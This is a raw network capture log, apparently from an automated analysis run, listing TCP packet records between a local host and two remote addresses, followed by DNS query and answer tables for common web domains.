Nov 25, 2024 18:28:53.570975065 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.571017027 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.571024895 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.571274042 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.571955919 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.572036028 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.572068930 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.572088003 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.572995901 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.573043108 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.573097944 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.573259115 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.574244022 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.574409008 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.574466944 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.575179100 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.575234890 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.575493097 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.575535059 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.576255083 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.576302052 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.576328039 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.576535940 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.577215910 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.577284098 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.577325106 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.577604055 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.578282118 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.578459978 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.578531981 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.578576088 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.579449892 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.579518080 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.579566002 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.580348015 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.580425024 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.580436945 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.580456018 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.581401110 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.581453085 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.581474066 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.581496000 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.582438946 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.582500935 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.582513094 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.582716942 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.583587885 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.583642006 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.583821058 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.583920956 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.584527969 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.584547997 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.584598064 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.584676981 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.585694075 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.585714102 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.585757017 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.585787058 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.586608887 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.586726904 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.586786032 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.587680101 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.587729931 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.587737083 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.588093996 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.588778019 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.588851929 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.588886023 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.588946104 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.589759111 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.589818001 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.589834929 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.589878082 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.590847015 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.591020107 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.591079950 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.591852903 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.591912031 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.591941118 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.591983080 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.592884064 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.592935085 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.592961073 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.593209982 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.593895912 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.593951941 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.594086885 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.594333887 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.594947100 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.594993114 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.595065117 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.595103025 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.596004009 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.596066952 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.596081018 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.596168041 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.597019911 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.597067118 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.597076893 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.597136021 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.598089933 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.598139048 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.598185062 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.598220110 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.599143028 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.599186897 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.599190950 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.599256992 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.616822958 CET	49900	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:53.642441034 CET	443	49898	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:53.642782927 CET	443	49898	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:53.642888069 CET	49898	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:53.643349886 CET	49898	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:53.643373013 CET	443	49898	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:53.643389940 CET	49898	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:53.643429041 CET	49898	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:53.746412992 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.746547937 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.746582031 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.746902943 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.746906042 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.746959925 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.746984959 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.747095108 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.748034000 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.748101950 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.748182058 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.748249054 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.749037027 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.749150991 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.749155998 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.749289989 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.750149012 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.750200033 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.750343084 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.750516891 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.751168966 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.751255989 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.751266956 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.751302004 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.752151012 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.752217054 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.752362967 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.752432108 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.753182888 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.753360987 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.753501892 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.754314899 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.754362106 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.754412889 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.754539967 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.755343914 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.755415916 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.755521059 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.755568981 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.756292105 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.756345034 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.756398916 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.756464005 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.757332087 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.757416010 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.757425070 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.757601976 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.758436918 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.758582115 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.758584023 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.758610010 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.759474993 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.759526968 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.759598970 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.760477066 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.760606050 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.760668993 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.761543989 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.761557102 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.761600971 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.761639118 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.762598038 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.762702942 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.762770891 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.762770891 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.763647079 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.763803005 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.763816118 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.763848066 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.764695883 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.764770031 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.764808893 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.764946938 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.765737057 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.765810966 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.766009092 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.766757011 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.766834021 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.766863108 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.767049074 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.767792940 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.767813921 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.767834902 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.767862082 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.768825054 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.768923044 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.768944025 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.769015074 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.769979000 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.770052910 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.770138979 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.770184994 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.770936012 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.770984888 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.771059990 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.771111012 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.771943092 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.771991968 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.772125006 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.772181988 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.773035049 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.773175001 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.773185968 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.773232937 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.774102926 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.774183989 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.774219036 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.774383068 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.775135994 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.775218964 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.775228024 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.775285006 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.776099920 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.776149035 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.776227951 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.776284933 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.777153015 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.777359009 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.777378082 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.777483940 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.778235912 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.778287888 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.778362989 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.778491020 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.779371977 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.779443026 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.779484987 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.779532909 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.780363083 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.780426979 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.780474901 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.780474901 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.781754971 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.781822920 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.781956911 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.782107115 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.782526970 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.782579899 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.782584906 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.782634974 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.783516884 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.783528090 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.783607006 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.784493923 CET	80	49892	185.215.113.16	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 25, 2024 18:28:16.923198938 CET	192.168.2.5	1.1.1.1	0x6502	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 18:28:16.923345089 CET	192.168.2.5	1.1.1.1	0xa063	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 25, 2024 18:28:24.160604954 CET	192.168.2.5	1.1.1.1	0x443b	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 18:28:24.161030054 CET	192.168.2.5	1.1.1.1	0xde00	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 25, 2024 18:28:28.533973932 CET	192.168.2.5	1.1.1.1	0x39d	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 18:28:28.534173012 CET	192.168.2.5	1.1.1.1	0xdba0	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 25, 2024 18:28:31.608207941 CET	192.168.2.5	1.1.1.1	0x8976	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 25, 2024 18:28:31.608606100 CET	192.168.2.5	1.1.1.1	0x69bf	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 25, 2024 18:28:31.944960117 CET	192.168.2.5	1.1.1.1	0xfac8	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 18:28:31.945291996 CET	192.168.2.5	1.1.1.1	0xda22	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 25, 2024 18:28:32.967524052 CET	192.168.2.5	1.1.1.1	0x6c4e	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 18:28:32.967803955 CET	192.168.2.5	1.1.1.1	0x2a1e	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 25, 2024 18:28:32.968497992 CET	192.168.2.5	1.1.1.1	0xdddc	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 18:28:32.968835115 CET	192.168.2.5	1.1.1.1	0xbe41	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 25, 2024 18:28:32.984462023 CET	192.168.2.5	1.1.1.1	0xe110	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 18:28:32.984833002 CET	192.168.2.5	1.1.1.1	0x82f0	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 25, 2024 18:28:36.683346987 CET	192.168.2.5	1.1.1.1	0xeeed	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 18:28:36.683535099 CET	192.168.2.5	1.1.1.1	0x999b	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 25, 2024 18:28:36.697345972 CET	192.168.2.5	1.1.1.1	0x3a5a	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 18:28:36.697489977 CET	192.168.2.5	1.1.1.1	0x90c7	Standard query (0)	assets.msn.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 25, 2024 18:28:17.063843966 CET	1.1.1.1	192.168.2.5	0x6502	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Nov 25, 2024 18:28:17.065515995 CET	1.1.1.1	192.168.2.5	0xa063	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 25, 2024 18:28:24.298499107 CET	1.1.1.1	192.168.2.5	0x443b	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 18:28:24.298499107 CET	1.1.1.1	192.168.2.5	0x443b	No error (0)	plus.l.google.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Nov 25, 2024 18:28:24.299283028 CET	1.1.1.1	192.168.2.5	0xde00	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 18:28:28.671878099 CET	1.1.1.1	192.168.2.5	0x39d	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 18:28:28.772156000 CET	1.1.1.1	192.168.2.5	0xdba0	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 18:28:29.071552992 CET	1.1.1.1	192.168.2.5	0xe12e	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 18:28:29.071552992 CET	1.1.1.1	192.168.2.5	0xe12e	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 25, 2024 18:28:29.083235979 CET	1.1.1.1	192.168.2.5	0x13c1	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 18:28:31.750695944 CET	1.1.1.1	192.168.2.5	0x69bf	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 18:28:31.844580889 CET	1.1.1.1	192.168.2.5	0x8976	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 18:28:32.082751989 CET	1.1.1.1	192.168.2.5	0xfac8	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 18:28:32.082751989 CET	1.1.1.1	192.168.2.5	0xfac8	No error (0)	googlehosted.l.googleusercontent.com		172.217.19.225	A (IP address)	IN (0x0001)	false
Nov 25, 2024 18:28:32.174325943 CET	1.1.1.1	192.168.2.5	0xda22	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 18:28:33.107167006 CET	1.1.1.1	192.168.2.5	0x2a1e	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 25, 2024 18:28:33.107239962 CET	1.1.1.1	192.168.2.5	0x6c4e	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 25, 2024 18:28:33.107239962 CET	1.1.1.1	192.168.2.5	0x6c4e	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 25, 2024 18:28:33.108297110 CET	1.1.1.1	192.168.2.5	0xbe41	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
